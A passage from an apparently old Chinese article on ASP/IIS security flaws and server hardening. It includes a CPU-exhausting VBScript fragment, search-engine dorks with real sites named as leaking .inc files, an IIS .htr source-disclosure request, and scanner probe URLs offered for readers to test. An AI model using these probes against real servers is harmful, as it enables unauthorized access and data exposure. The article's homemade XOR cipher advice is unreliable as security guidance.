set rsGlobal = connGlobal.execute(mSQL)

While not rsGlobal.eof
Response.Write rsGlobal("resultfrommiscdb")
rsGlobal.movenext
wend
rsGlobal.close
set rsGlobal = nothing
connGlobal.close
set connGlobal = nothing
Note we DO close the connection
%>

在這種情況下,IIS處理進程將會停頓,CPU使用率由于inetinfo.exe進程將達到100%。只有重新啟動計算機才能恢復。


19、ASP主頁.inc文件泄露問題

漏洞描述:

受影響的版本:任何提供ASP服務的系統
遠程:YES / 本地:YES

內容摘要:

當存在asp的主頁正在制作并沒有進行最后調試完成以前,可以被某些搜索引擎機動追加為搜索對象,如果這時候有人利用搜索引擎對這些網頁進行查找,會得到有關文件的定位,并能在瀏覽器中察看到數據庫地點和結構的細節揭示完整的源代碼。
具體操作過程是:

- 利用搜索引擎查找包含+"Microsoft VBScript 運行時刻錯誤執行搜索" +".inc ," 的關鍵字
- 搜索引擎會自動查找包含asp的包含文件(.inc)并顯示給用戶
- 利用瀏覽器觀看包含文件的源代碼,其中可能會有某些敏感信息

漏洞的利用:

例子:
- http://shopping.altavista.com/inc/lib/prep.lib
暴露數據庫連接和性質, 資源地點, 小甜餅邏輯,服務器 IP 地址
- http://www.justshop.com/SFLib/ship.inc
暴露數據庫性質
- http://www.bbclub.com:8013/includes/general.inc
暴露 cobranding
- http://www.salest.com/corporate/admin/include/jobs.inc
暴露 datafile 地點和結構
- http://www.bjsbabes.com/SFLib/design.inc
包括數據庫結構為 StoreFront 2000 暴露源代碼
- http://www.ffg.com/scripts/IsSearchEngine.inc
暴露搜索引擎記錄文件
- http://www.wcastl.com/include/functions.inc
暴露成員電子郵件地址
- http://www.wcastl.com/flat/comments.txt
暴露成員私人的注釋文件
- http://www.traveler.net/two/cookies.inc
暴露 cookie 邏輯

解決方案:

- 搜索引擎應該不索引有 asp 運行時刻錯誤的頁
- 程序員應該在網頁發布前對其進行徹底的調試
- 安全專家需要固定 asp 包含文件以便外部的用戶不能看到它們
asp 新聞組、站點提供兩個解決方案對這個漏洞進行修正,首先對 .inc 文件內容進行加密,其次也可以使用 .asp 文件代替
.inc 文件使用戶無法從瀏覽器直接觀看文件的源代碼。.inc 文件的文件名不用使用系統默認的或者有特殊含義容易被用戶猜測到的,盡量使用無規則的英文字母。


20、利用Activer server explorer可對文件進行讀寫訪問

漏洞描述:

chinaasp的Activer server explorer可以很方便的對本地文件在線查看服務器上的目錄 在線查看文件的名稱、大小、類型、修改時間,在線編輯純文本文件,如.txt、.htm、.asp、.pl、.cgi等等,直接執行服務器上的文件。
Activer server explorer要求填寫相對路徑或者絕對路徑,但是假如:有一個攻擊者把Activer server explorer上傳到目標服務器上的某個目錄,并且這個目錄支持ASP的話,那么他就可以通過Activer server explorer修改、執行目標服務器上的文件。這種情況可以發生在一個攻擊者擁有目標NT服務器上的一個可寫目錄帳號,并且這個目錄又支持ASP。比如一些支持ASP的個人免費主頁服務器,把Activer server explorer先傳上你申請的免費主頁空間,再通過各種方法得到目標服務器的路徑,(比如可通過漏洞:"請求不存在的擴展名為idq或ida 文件,會暴露文件在服務器上的物理地址.").或者直接在相對路徑上填".",一般是默認。這樣攻擊者就能任意修改,執行目標服務器上的文件,不管他對這個文件有無讀寫訪問權。
所以那些提供有ASP服務的個人主頁或者其它服務的服務器,就要加倍小心這種攻擊了。

漏洞解決方法

其實Activer server explorer就是利用了上面講的漏洞 4 filesystemobject 組件篡改下載 fat 分區上的任何文件的漏洞。
那么我們如何才能限制用戶使用FileSystemObject對象呢?一種極端的做法是完全反注冊掉提供FileSystemObject對象的那個組件,也就是Scrrun.dll。具體的方法如下:

  在MS-DOS狀態下面鍵入:

Regsvr32 /u c:\windows\system\scrrun.dll

(注意:在實際操作的時候要更改成為你本地的實際路徑)

  但是這樣的話,就不能使用FileSystemObject對象了,有時利用FileSystemObject對象來管理文件是很方便,有什么辦法能兩全其美呢?

我們可以做到禁止他人非法使用FileSystemObject對象,但是我們自己仍然可以使用這個對象.
方法如下:
查找注冊表中

   HKEY_CLASSES_ROOT\Scripting.FileSystemObject 鍵值

  將其更改成為你想要的字符串(右鍵-->"重命名"),比如更改成為

   HKEY_CLASSES_ROOT\Scripting.FileSystemObject2

  這樣,在ASP就必須這樣引用這個對象了:

   Set fso = CreateObject("Scripting.FileSystemObject2")

  而不能使用:

   Set fso = CreateObject("Scripting.FileSystemObject")

  如果你使用通常的方法來調用FileSystemObject對象就會無法使用了。

  只要你不告訴別人這個更改過的對象名稱,其他人是無法使用FileSystemObject對象的。這樣,作為站點管理者我們就杜絕了他人非法使用FileSystemObject對象,而我們自己仍然可以使用這個對象來方便的實現網站在線管理等等功能了!


21 IIS4.0/IIS5.0超長文件名請求存在漏洞

漏洞描述:

受影響的版本:

Microsoft IIS 5.0
+ Microsoft Windows NT 2000
Microsoft IIS 4.0
+ Microsoft Windows NT 4.0
+ Microsoft BackOffice 4.5
- Microsoft Windows NT 4.0
+ Microsoft BackOffice 4.0
- Microsoft Windows NT 4.0

當在一個已知的文件名后加230個"%20"再加個.htr,會使安裝有Microsoft IIS 4.0/5.0泄漏該文件的內容。這是由ISM.dll映射的.htr文件引起的.比如:

http://target/filename%20<重復230次>.htr

這種請求只有當.htr請求是第一次調用或者ISM.dll第一次裝載進內存,才能起作用。

解決方法:

安裝補丁

Microsoft IIS 5.0:
http://download.microsoft.com/download/win2000platform/Patch/Q249599/NT5/EN-US/Q249599_W2K_SP1_X86_en.EXE

Microsoft IIS 4.0:
http://download.microsoft.com/download/iis40/Patch/Q260838/NT4ALPHA/EN-US/ismpst4i.exe


22 ASP編輯器會自動備份asp文件,會被下載的漏洞

漏洞描述:

  在有些編輯asp程序的工具,當創建或者修改一個asp文件時,編輯器自動創建一個備份文件,比如:UltraEdit就會備份一個..bak文件,如你創建或者修改了some.asp,編輯器自動生成一個叫some.asp.bak文件,如果你沒有刪除這個bak文件,攻擊有可以直接下載some.asp.bak文件,這樣some.asp的源程序就會給下載。

六 ASP安全建議

如何設置才能使ASP更加安全呢?以下我們重點來談談ASP安全方面要注意的問題。我們在第五部分"ASP漏洞和解決方法"中針對某些漏洞,也提出了相應的安全建議,這部分就不再重復。
  在這部分的后面還要介紹些可掃描ASP漏洞的工具。


1 安裝NT最新的補丁

目前最新的補丁是NT Option Pack 6.0.,微軟的主頁有最新的補丁。一般來說微軟都會及時的公布最新的漏洞和補丁。目前IIS最新是5.0。windows2000自帶IIS5.0.
IIS 5.0新功能如下:
安全性上:包括摘要式驗證、整合的Windows驗證、SGC (Server-Gated Cryptography ) 、Microsoft Certificate
Services 2.0、集區處理程序之程序保護等。
管理上:包括IIS重新激活、站臺CPU使用時間的限制、CPU資源使用記錄、使用終端機服務遠程管理IIS、自訂錯誤訊息等。
Internet標準上:包括WebDAV(Web Distributed Authoring and Versioning)、FTP重新激活、HTTP壓縮等。

Active Server Pages:包括新的轉向方法(Server.Transfer與Server.Execute方法)、新的錯誤處理功能
(Server.GetLastError方法)、無指令.asp的執行速度增快、可安裝組件的效能調升、Scriptlet支持、使用cookie取得瀏覽器信息、自動增減執行緒(executing threads)、SRC服務器端包含功能、Script Encoder編碼保護等。
更具體的功能介紹請參見其它資料。


2 關閉沒有用的服務和協議

"盡量少開沒用到的服務",這永遠是網絡安全的準則。如果開啟了某個服務,你就要面對不少的漏洞困擾,更重要的是你還要時時提防未來的由這個服務所引起的漏洞。
比如,你不使用ftp,那就把FTP關了,不然你就要發費大量的精力和金錢去應付那些什么DOS,緩沖區溢出之類的漏洞。NETBIOS也是windows的一大安全隱患,我想目前服務器很少需要Netbios。再如你的IIS安裝了index server 服務,那你至少要面對三個以上的有關這個服務的漏洞,因此如果你沒用到INDEX SERVER服務,也大可刪除他.
同樣的道理,我們要安裝最少的協議。千萬不要安裝點對點通道通訊協議。此外,還必須小心地配置TCP/IP協議。在TCP/IP的屬性頁中選擇"IP地址"項目,然后選擇"高級"。在彈出來的對話框中選擇"安全機制",這樣你可以禁止UDP,然后開啟IP端口6和TCP端口80。當然開不開這些端口主要是看你的情況了。
IIS中的應用程序映射也是個很大的安全漏洞,請在IIS中設置好擴展名和可執行路徑,刪除沒用的擴展名。


3 設置好你的NT

NT缺省安裝時,系統賬號Administrator和Guest被自動設置,很多攻擊者就是利用這些賬號來猜密碼,從而進入你的系統。雖然沒有足夠的耐心,很難猜中這些密碼,但是為了安全起見,建議把這些賬號重新命名或者刪除。
NT SERVER的系統策略編輯器非常有用。按"管理工具"->"系統策略編輯器"就可以進入,然后選擇"文件"->"打開注冊表",并選擇"本地計算機"圖標,就可以認真配置了。主要設置以下幾項:

1. 取消:網絡->系統規則更新->遠程更新
2. 取消:WINDOWS NT網絡->共享->創建隱藏的驅動器共享
3. 設置:Windows NT遠程訪問下面的各項
4. 設置:Windows NT系統->登錄中各個項目。包括設置登錄標記;不允許從"身份驗證對話框"關機;不顯示上次登錄的用戶名.
5. 設置:WINDOWS NT系統->文件系統中的"不為長文件名創建8.3文件名"

不要使用遠程管理軟件,除非不得已。由于NT不太支持遠程管理,所以你可能會安裝Reachout或者PC anywhere來管理。可是,當你安裝了這些軟件,你就不得不開啟TCP/IP的所有端口。
在你離開服務器的時候,請按"Ctrl+del+alt",并選擇"鎖定工作站"。


4 磁盤文件格式使用比較安全的NTFS格式

NTFS 權限是 Web 服務器安全性的基礎,它定義了一個或一組用戶訪問文件和目錄的不同級別。當擁有 Windows NT 有效帳號的用戶試圖訪問一個有權限限制的文件時,計算機將檢查文件的 訪問控制表 (ACL)。該表定義了不同用戶和用戶組 所被賦予的權限。例如,Web 服務器上的 Web 應用程序的所有者需要有"更改"權限來查看、更改和刪除應用程序的 .asp 文件。但是,訪問該應用程序的公共用戶應僅被授予"只讀"權限,以便將其限制為只能查看而不能更改應用程序的 Web 頁。

5 對目錄設置不同的屬性,如:Read、Excute、Script

您可以通過配置您的 Web 服務器的權限來限制所有用戶查看、運行和操作您的ASP 頁的方式。不同于 NTFS 權限提供的控制特定用戶對應用程序文件和目錄的訪問方式, Web 服務器權限應用于所有用戶,并且不區分用戶帳號的類型。 對于要運行您的 ASP 應用程序的用戶,在設置 Web 服務器權限時,必須遵循下列原則:
對包含 .asp 文件的虛擬目錄允許"讀"或"腳本"權限。
對 .asp 文件和其他包含腳本的文件(如 .htm 文件等)所在的虛目錄允許"讀"和"腳本"權限。
對包含 .asp 文件和其他需要"執行"權限才能運行的文件(如 .exe 和 .dll 文件等)的虛目錄允許"讀"和"執行"權限。


6 維護 Global.asa 的安全

為了充分保護 ASP 應用程序,一定要在應用程序的 Global.asa 文件上為適當的用戶或用戶組設置 NTFS 文件權限。
如果 Global.asa 包含向瀏覽器返回信息的命令而您沒有保護 Global.asa 文件,則信息將被返回給瀏覽器,即便應用程序的其他文件被保護。


7 不要把密碼,物理路徑直接寫在程序中

很難保證您的ASP程序是否會給人拿到,即使你安裝了最新的補丁。為
了安全起見,應該把密碼和用戶名保存在數據庫中,使用虛擬路徑。


8 在程序中記錄用戶的詳細信息

這些信息包括用戶的瀏覽器、用戶停留的時間,用戶IP等。其中
記錄IP是最有用的。
可用下面的語句了解客戶端和服務端的信息:

<Table><%for each name in request.servervariables%>
<tr><td><%=name%>:</td>
<td><%=request.servervariables(name)%></td>
</tr>
<%next%></table>

如果我們可以記錄了用戶的IP,就能通過追捕來查用戶的具體地點。
當然如果用戶通過代理來瀏覽網頁,上面的方法只能看到用戶代理的IP,而不能記錄用戶真實的IP。ASP沒有提供查看客戶端網卡物理地址(即MAC)的功能。


9 Cookie 安全性

ASP 使用 SessionID cookie 跟蹤應用程序訪問或會話期間特定的 Web 瀏覽器的信息。這就是說,帶有相應的 cookie 的 HTTP 請求被認為是來自同一 Web 瀏覽器。Web 服務器可以使用 SessionID cookies 配置帶有用戶特定會話信息的 ASP 應用程序。例如,如果您的應用程序是一個允許用戶選擇和購買 CD 唱盤的聯機音樂商店,就可以用 SessionID 跟蹤用戶漫游整個應用程序時的選擇。
SessionID 能否被黑客猜中?
為了防止計算機黑客猜中 SessionID cookie 并獲得對合法用戶的會話變量的訪問,Web 服務器為每個 SessionID 指派一個隨機生成號碼。每當用戶的 Web 瀏覽器返回一個 SessionID cookie 時,服務器取出 SessionID 和被賦予的數字,接著檢查是否與存儲在服務器上的生成號碼一致。若兩個號碼一致,將允許用戶訪問會話變量。這一技術的有效性在于被賦予的數字的長度(64 位),此長度使計算機黑客猜中 SessionID 從而竊取用戶的活動會話的可能性幾乎為 0。
加密重要的 SessionID Cookie.
截獲了用戶 sessionID cookie 的計算機黑客可以使用此 cookie 假冒該用戶。如果 ASP 應用程序包含私人信息,信用卡或銀行帳戶號碼,擁有竊取的 cookie 的計算機黑客就可以在應用程序中開始一個活動會話并獲取這些信息。您可以通過對您的 Web 服務器和用戶的瀏覽器間的通訊鏈路加密來防止 SessionID cook ie 被截獲。


10 使用身份驗證機制保護被限制的 ASP 內容

可以要求每個試圖訪問被限制的 ASP 內容的用戶必須要有有效的 Windows NT帳號的用戶名和密碼。每當用戶試圖訪問被限制的內容時,Web 服務器將進行身份驗證,即確認用戶身份,以檢查用戶是否擁有有效的 Windows NT 帳號。
Web 服務器支持以下幾種身份驗證方式:
基本身份驗證 提示用戶輸入用戶名和密碼。
Windows NT 請求/響應式身份驗證,從用戶的 Web 瀏覽器通過加密方式獲取用戶身份信息。
然而,Web 服務器僅當禁止匿名訪問或 Windows NT 文件系統的權限限制匿名訪問時才驗證用戶


11 保護源數據庫

訪問源數據庫的 ASP 腳本需要 Web 服務器所運行的計算機的管理員權限。在從遠程計算機上運行這些腳本時,須經已通過身份驗證的連接,如使用 Windows NT 請求/響應驗證方式進行連接。應該為管理級 .asp 文件創建一個服務器或目錄并將其目錄安全驗證方式設置為 Windows NT 請求/響應式身份驗證。目前,僅 Microsoft Internet Explorer version 2.0 或更高版本支持 Windows NT 請求響應式身份驗證。


12 使用 SSL 維護應用程序的安全

SSL (Secure Sockets Layer)協議是由Netscape首先發表的網絡資料安全傳輸協定,其首要目的是在兩個通信間提供秘密而可靠的連接。該協議由兩層組成,底層是建立在可靠的傳輸協議(例如:TCP)上的是SSL的記錄層,用來封裝高層的協議。SSL握手協議準許服務器端與客戶端在開始傳輸數據前,能夠通過特定的加密算法相互鑒別。SSL的先進之處在于它是一個獨立的應用協議,其它更高層協議能夠建立在SSL協議上。
SSL3.0 協議作為 Web 服務器安全特性,提供了一種安全的虛擬透明方式來建立與用戶的加密通訊連接。SSL 保證了 Web 內容的驗證,并能可靠地確認訪問被限制的 Web 站點的用戶的身份。
通過 SSL,您可以要求試圖訪問被限制的 ASP 應用程序的用戶與您的服務器建立一個加密連接;以防用戶與應用程序間交換的重要信息被截取。
比如好多基于WEB的ASP論壇都會提供注冊用戶互相發送信息的服務,這種信息是明文傳送的,如果在網吧就很容易給人監聽到。如果加了一層SSL認證,就會防止發送信息被監聽的可能。


13 客戶資格認證

控制對您的 ASP 應用程序訪問的一種十分安全的方法是要求用戶使用 客戶資格登錄。客戶資格是包含用戶身份信息的數字身份證,它的作用與傳統的諸如護照或駕駛執照等身份證明相同。用戶通常從委托的第三方組織獲得客戶資格,第三方組織在發放資格證之前確認用戶的身份信息。(通常,這類組織要求姓名、地址、電話號碼及所在組織名稱;此類信息的詳細程度隨給予的身份等級而異。)
每當用戶試圖登錄到需要資格驗證的應用程序時,用戶的 Web 瀏覽器會自動向服務器發送用戶資格。如果 Web 服務器的 Secure Sockets Layer (SSL) 資格映射特性配置正確,那么服務器就可以在許可用戶對 ASP 應用程序訪問之前對其身份進行確認。
作為 ASP 應用程序開發人員,您可以編寫腳本來檢查資格是否存在并讀取資格字段。例如,您可以從資格證明中訪問用戶名字段和公司名字段。Active Server Pages 在 Request 對象的 ClientCertificate 集合中保存資格信息。
必須將 Web 服務器配置為接受或需要客戶資格,然后才能通過 ASP 處理客戶資格;否則,ClientCertificate 集合將為空。


14 ASP的加密

由于ASP腳本是采用明文(plain text)方式來編寫的,所以應用開發商辛苦開發出來的ASP應用程序,一旦發布到運行環境中去后,就很難確保這些"源代碼"不會被流傳出去。這樣就產生了如何有效地保護開發出來的ASP腳本源代碼的需求。
官方加密程序:從微軟免費下載到sce10chs.exe 直接運行即可完成安裝過程。安裝完畢后,將生成screnc.exe文件,這是一個運行在DOS PROMAPT的命令工具。
運行screnc - l vbscript source.asp destination.asp生成包含密文ASP腳本的新文件destination.asp用記事本打開看凡是"<%和%>"之內的,不管是否注解,都變成不可閱讀的密文了,但無法加密中文。
幾種ASP源代碼保護方法:

1,"腳本最小化"即ASP文件中只編寫盡可能少的源代碼,實現
商業邏輯的腳本部分被封裝到一個COM/DCOM組件,并在ASP腳
本中創建該組件,進而調用相應的方法(methed)即可。應用開發者
動手開發ASP腳本應用之前就可按此思路來開發,或者直接用ASP
腳本快速開發出原型系統后,針對需要保護、加密的重要腳本用
COM/DCOM組件來重新開發、實現并替換。

2,"腳本加密"即ASP腳本仍直接按源代碼方式進行開發,但在發布到運行環境之前將腳本進行加密處理,只要把加密后的密文腳本發布出去。即在ASP.DLL讀取腳本這個環節加入密文還原的處理。實現這種思路的方法有兩種:一是自行開發一個ISAPI的IIS過濾(filter)塊,在ASP.DLL之前勾連(hook)對ASP腳本文件的讀取,以便把文件系統讀出的密文還原成ASP.DLL可以解釋的明文;
方法二是直接由ASP.DLL提供對ASP腳本加密處理的支持。微軟在新版本的Vbscript.dll jscript.dll中提供這種成為MS script encode技術的支持。這樣,無論是客戶端的Vbscript jscript(包括WSH腳本等),還是服務器端的Vbscript jscript (即ASP腳本)都可以支持加密處理。
MS script encode 技術具體的實現思路包括以下兩個方面:一是加密過程,通過提供一個實用程序對包含ASP腳本源代碼的文本文件進行掃描,找出其標記為<script language = "vbscript.encode">或<script language = "Jscript.encode">;二是還原過程,IE或ASP.DLL等執行腳本時是統一通過Vbscript.dll jscript.dll來解釋執行的,所以它們都能同時地、透明地支持明文和密文的腳本。
  總之,如果采用第一種思路,要么就自行在開發過程中遵照進行,要么可以考慮選擇自動轉換成visual basic 編譯代碼的通用的、實用工具;采取第二種思路的化,要么就自行開發IIS ISAPI過濾模塊,要么可以考慮直接采用MS script encode軟件。

下面來看看一種ASP可以使用的簡單字符加密算法,而不是那些受限制的加密算法。其實,這里介紹的加密算法對于一般的運用來說已經足夠解密人麻煩一陣子的了。它的加密基礎是最簡單的Vernum密碼方法,它的基本原理是,需要有一個需要加密的明文和一個隨機生成的解密鑰匙文件。然后使用這兩個文件組合起來生成密文。

(明文) 組合 (密鑰) = 加密后的密文

所以這里介紹的是生成密鑰的代碼。我們假設我們生成的密鑰為512位長的密鑰,它已經足夠來加密一個文本字符了。代碼如下:

KeyGeN.asp文件
<%
******************************
KeyGeN.asp
******************************
Const g_KeyLocation = "C:\key.txt"
Const g_KeyLen = 512

On Error Resume Next

Call WriteKeyToFile(KeyGeN(g_KeyLen),g_KeyLocation)

if Err <> 0 Then
Response.Write "ERROR GENERATING KEY." & "<P>"
Response.Write Err.Number & "<BR>"
Response.Write Err.Description & "<BR>"
Else
Response.Write "KEY SUCCESSFULLY GENERATED."
End If

Sub WriteKeyToFile(MyKeyString,strFileName)
Dim keyFile, fso
set fso = Server.CreateObject("scripting.FileSystemObject")
set keyFile = fso.CreateTextFile(strFileName, true)
keyFile.WriteLine(MyKeyString)
keyFile.Close
End Sub

Function KeyGeN(iKeyLength)
Dim k, iCount, strMyKey
lowerbound = 35
upperbound = 96
Randomize Initialize random-number generator.
for i = 1 to iKeyLength
s = 255
k = Int(((upperbound - lowerbound) + 1) * Rnd + lowerbound)
strMyKey = strMyKey & Chr(k) & ""
next
KeyGeN = strMyKey
End Function

%>

在IIS下運行上面的KeyGeN.asp頁面。你只需要如此做一次,他將把密鑰寫入文件c:\key.txt中 (如果你愿意的話,你也可以把這個文件放到另外一個更加安全的地方),然后你可以打開這個key.txt文件,它將包含512個ASCII碼在35到96之間的字符。并且由于是隨機生成的,所以每個人的私人密鑰文件key.txt將是不一樣的,下面是一個例子密鑰文件:

IY/;$>=3)?^-+7M32#Q]VOII.Q=OFMC`:P7_B;<R/8U)XFHC<SR_E$.DLG=I+@5%*+OP:F_=;NSY`-^S.`AA=BJ3M0.WF#T5LGK
(=/<:+C2K/^7AI$;PUOME2+T8ND?W$C(J\,;631M-LD5F%%1TF_&K2A-D-54[2P,#*JU%6`0RF3CMF0(#T07UFZ=>#,+.AW_/+)
DIB;2DTIA57TT&-]O/*FM>H.XH5W^0Y*=71+5*^`^PKJ(=E/X#7A:?,S>R&T;+B#<:-*\@)X9F`_`%QA3Z95.?_T#1,$2#FWW5PBH^*<))A(S0@AVD8C^Q0R^T1D?(1+,YE71X+.*+U$:3XO^Q).KG&0N0);[LJ<OZ6IN?7N4
<GTL?(M4S8+3JMK5)HC%^1^+K;\$WBXPA?F&5^E\D$7%*O/U[1/?8(5:1OVWV*1Z-%`:K&V?X1,1KURD@3W0^D)<OG40?(VJ4EWL5A5M<$A);CQ36R9I]*U#Q%1<Y\&SA%#1<V

下面再仔細分析一下上面的程序,我們發現其中的lowerbound和upperbound的數值
其實就是你想使用來加密的ASCII字符范圍。

下面的代碼將介紹如何使用這個密鑰來加密和解密一個字符串

Crypt.asp文件
<%
Dim g_Key

Const g_CryptThis = "Now is the time for all good men to come to the aid of their country."
Const g_KeyLocation = "c:\key.txt"

g_Key = mid(ReadKeyFromFile(g_KeyLocation),1,Len(g_CryptThis))

Response.Write "<p>ORIGINAL STRING: " & g_CryptThis & "<p>"
Response.Write "<p>KEY VALUE: " & g_Key & "<p>"
Response.Write "<p>ENCRYPTED CYPHERTEXT: " & EnCrypt(g_CryptThis) & "<p>"
Response.Write "<p>DECRYPTED CYPHERTEXT: " & DeCrypt(EnCrypt(g_CryptThis)) & "<p>"

Function EnCrypt(strCryptThis)
Dim strChar, iKeyChar, iStringChar, i
for i = 1 to Len(strCryptThis)
iKeyChar = Asc(mid(g_Key,i,1))
iStringChar = Asc(mid(strCryptThis,i,1))
*** uncomment below to encrypt with addition,
iCryptChar = iStringChar + iKeyChar
iCryptChar = iKeyChar Xor iStringChar
strEncrypted = strEncrypted & Chr(iCryptChar)
next
EnCrypt = strEncrypted
End Function

Function DeCrypt(strEncrypted)
Dim strChar, iKeyChar, iStringChar, i
for i = 1 to Len(strEncrypted)
iKeyChar = (Asc(mid(g_Key,i,1)))
iStringChar = Asc(mid(strEncrypted,i,1))
*** uncomment below to decrypt with subtraction
iDeCryptChar = iStringChar - iKeyChar
iDeCryptChar = iKeyChar Xor iStringChar
strDecrypted = strDecrypted & Chr(iDeCryptChar)
next
DeCrypt = strDecrypted
End Function

Function ReadKeyFromFile(strFileName)
Dim keyFile, fso, f
set fso = Server.CreateObject("Scripting.FileSystemObject")
set f = fso.GetFile(strFileName)
set ts = f.OpenAsTextStream(1, -2)

Do While not ts.AtEndOfStream
keyFile = keyFile & ts.ReadLine
Loop

ReadKeyFromFile = keyFile
End Function

%>

在Crypt.asp中我們首先從密鑰文件中得到密鑰值,然后從這段密鑰中截取和我們需要加密的明文同樣長度的密鑰。然后使用一個簡單的異或操作將明文和密鑰進行運算,那么得到的結果就是加密后的密文了。過程很簡單的。由于是使用了異或操作,所以解密將非常簡單,只要使用同樣的密鑰對密文再次進行異或操作就能夠解密了。在上面介紹的基礎上,你可以少加改動,就可以使用同樣的方法加密一個文件。唯一需要注意的是,對于一個二進制文件,你需要做一些完整性檢查以保證轉換回來的字符不要越界。
現在你需要做的就是把密鑰保存在服務器上的一個安全的地方(不能夠被外部訪問)


15 SQL SERVER的安全性

目前用ASP編寫的WEB應用中,后臺數據庫大部分SQL SERVER。SQL SERVER相對來說比較安全。但是也要小心地配置SQL Server。

1 安裝遠程數據庫管理有風險
SQL Server支持從遠程進行數據庫的維護。在安裝時你可以選擇不安裝,安裝完成以后,你還可以通過"SQL Server Network Utility"來刪除遠程管理。如果你要使用遠程管理,請使用TCP/IP,并將缺省的端口1433改變為其他的數值。使用遠程對你可能比較方便,便是請注意一個hacker只要知道你的SQL server密碼,就可以進入你的數據庫。
2 改變sa的密碼
缺省安裝時,SQL SERVER的sa賬號的密碼為空,建議你在Enterprise SERVER中,改變sa的密碼。
3 數據庫登錄賬號不要寫入ASP頁面中。


16 使用最新的掃描器掃描ASP漏洞

目前可以掃描IIS漏洞的掃描器有很多,比較有名的有ISS,CIS和gnit等。下面我們以GNIT為例子。
GNIT是個功能很強的漏洞掃描器,能掃描NT的用戶名和相關信息列表,掃描IIS的漏洞。
在WINNT的DOS模式下打下:
gnit <對方IP>
比如:gnit 172.1.1.1

GNIT開始掃描端口,從上圖可知目標主機提供了HTTP,FTP,SMTP等服務,掃描完后。會在GNIT目錄下生成一個HTML文件,其文件名是目標主機的IP。打開這個HTML文件,會看到對方主機的一些信息和漏洞。這些信息和漏洞包括:用戶名和組的相關詳細信息,開放的服務和WEB掃描的漏洞等。我們比較關心的是WEB掃描的漏洞信息:
下圖是GNIT的WEB掃描一些信息,其中加粗部分是漏洞,當然有些漏洞并不準確,但不妨試試。(有必要說明下,以下我是在一臺NT4。01,IIS4。0,Option PACK6.0,并且缺省安裝)

 要測試這些漏洞很簡單。比如:可在URL輸入:
 http://someurl/iisadmpwd/aexp3.htr
―――可遠程管理IIS。

http://someurl/scripts/iisadmin/bdir.htr
――――目標主機的硬盤全部目錄都一覽無余,并且有創建新目錄的功能(不過我在測試中,并不能創建遠程目錄,但是能使目標主機的WEB當機)
http://someurl/scripts/tools/getdrvrs.exe
 ----可在遠程主機上創建ODBC數據庫,不管數據庫路徑和數據庫是否存在。

 
   此外還有其它的漏洞,請網友自己測試。其解決方法請看上面的漏洞分析。如果用CIS掃描器,還有比較詳細的漏洞分析和解決方法。請讀者自己分析。

七、總結

  目前WEB數據庫訪問的多種技術中,比如CGI(通用網關接口)、JDBC、PHP、ASP,ASP以其開發周期短,存取方式數據庫簡單,運行速度快而成為眾多網站程序員的首選開發技術。但是其網絡安全性也是不容忽視的。做為一個ASP開發者,你必須關注NT和IIS的安全漏洞,從上面的討論我們可以看到ASP的很多漏洞都是由IIS所引起的。同時ASP程序員在開發自己的網站時,要注意來自ASP程序設計不當所引發的安全問題。

該文章在 2011/4/24 0:33:39 編輯過
關鍵字查詢
相關文章
正在查詢...
點晴ERP是一款針對中小制造業的專業生產管理軟件系統,系統成熟度和易用性得到了國內大量中小企業的青睞。
點晴PMS碼頭管理系統主要針對港口碼頭集裝箱與散貨日常運作、調度、堆場、車隊、財務費用、相關報表等業務管理,結合碼頭的業務特點,圍繞調度、堆場作業而開發的。集技術的先進性、管理的有效性于一體,是物流碼頭及其他港口類企業的高效ERP管理信息系統。
點晴WMS倉儲管理系統提供了貨物產品管理,銷售管理,采購管理,倉儲管理,倉庫管理,保質期管理,貨位管理,庫位管理,生產管理,WMS管理系統,標簽打印,條形碼,二維碼管理,批號管理軟件。
點晴免費OA是一款軟件和通用服務都免費,不限功能、不限時間、不限用戶的免費OA協同辦公管理系統。
Copyright 2010-2025 ClickSun All Rights Reserved